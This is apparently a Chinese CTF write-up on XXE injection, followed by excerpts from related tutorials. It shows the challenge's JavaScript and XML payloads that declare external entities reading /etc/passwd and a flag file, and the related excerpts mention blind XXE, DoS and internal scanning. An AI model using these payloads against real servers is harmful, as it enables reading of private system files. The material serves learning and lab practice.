XML引用外部实体触发XXE漏洞

先记录一道题

输入框中输入的内容会被显示到上面的区域中。查看后台源码,有这样的一个片段

function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send(‘{"search":"‘+evil_input+‘","value":"own"}‘);
}

传入一个json形式的数组

传入json以后发现只是几个特定的值被记录下来。这里用到的就XXE漏洞

XML:可扩展标记语言标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言

<?xml  version="1.0" ?>
<user>
<username>admin</username>
<password>pass</password>
<age>age</age>
</user>

有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE rr[
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>

这里的entityex即我们引用的外部实体,在内容中又引用了SYSTEM,在服务器解析xml的时候就会触发SYSTME 进而执行file:///etc/passwd

找到了一个可以说明这个问题的实例:

点击下方的forget pwd,抓包。

查看返回包

引用xml实体,构造如下语句。

语句成功被解析。

在这道题中我们首先要将content-type改为application/xml 这样即可以识别xml结构。

根据上述特点构造

<?xml version="1.0" ?>
<!DOCTYPE hsy[
<!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]>

<something>&any;</something>

得到flag

原文地址:https://www.cnblogs.com/sylover/p/10924269.html

时间: 2024-10-09 04:28:59

XML引用外部实体触发XXE漏洞的相关文章

XML外部实体注入(XXE)

在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁: A4:XML外部实体注入漏洞(XXE) A8:不安全的反序列化漏洞 A10:不足的记录和监控漏洞 验证XXE: 构造请求 <?xml version="1.0" encoding="ytf-8"?> <!DOCTYPE Anything[ <!ENTITY myentity "sectest"> ]> <forgot><u

[Web安全] XXE漏洞攻防学习(上)

0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取.命令执行.内网端口扫描.攻击内网网站.发起Dos攻击等危害. XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件. 0x01.XML基础知识 要了xxe漏洞,那么一定得先弄明白基础知识,了解xml文档的基础组

[WEB安全]XXE漏洞总结

0x00 XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具. 0x01 XML文档结构XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. <!--XML申明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note

XXE攻防——XML外部实体注入

XXE攻防——XML外部实体注入 转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块.DTD 可以在 XML 文档内声明,也可以外部引用. 内部声明DTD <!DOCTYPE 根元素 [元素声明]> 引用外部DTD <!DOCTYPE 

XXE漏洞攻防

一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块.DTD 可以在 XML 文档内声明,也可以外部引用. 内部声明DTD <!DOCTYPE 根元素 [元素声明]> 引用外部DTD <!DOCTYPE 根元素 SYSTEM "文件名">

1016.XXE漏洞攻防学习

前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成. XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素 xml文档的构建模块 所有的 XML 文档(以及 HTML 文

XXE漏洞攻击与防御

转自https://www.jianshu.com/p/7325b2ef8fc9 0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧. 定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. 文档结构 XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. <!--XML声明--> <?xml version=&qu

实战讲解XXE漏洞的利用与防御策略

现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确.当解析器允许XML外部实体解析时,就会造成XXE漏洞,导致服务器被攻击.本期"安仔课堂",ISEC实验室的李老师为我们详细解析XXE漏洞的利用和防御.   一.XML基础知识  XML是用于标记电子文件并使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括

[Web安全] XXE漏洞攻防学习(中)

0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进行抓包,点击Any bugs?按钮,抓包如下: 可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据. 既然是XML数据,我们就可以自己增加一个恶意外部实体,然后在原本的XML数据中进行实体调用,来进行xxe攻击 获取系统密码文件 payload: <?xml ver